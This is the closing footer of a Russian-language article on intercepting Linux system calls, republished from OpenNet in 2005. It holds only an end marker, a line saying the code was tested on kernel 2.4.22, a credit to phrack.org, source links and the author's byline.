End Of Paper/EOP

Работоспособность кода из всех разделов была проверена на ядре 2.4.22. При подготовки доклада были использованы материалы сайта http://www.phrack.org

Статья взята с сайта OpenNet. Оригинал: http://zaya.spb.ru/intercept_lnx.txt

[ опубликовано 04/11/2005 ]

LePetitPrince (lepetitprince@inbox.ru) - Перехват системных вызовов в OS Linux   Версия для печати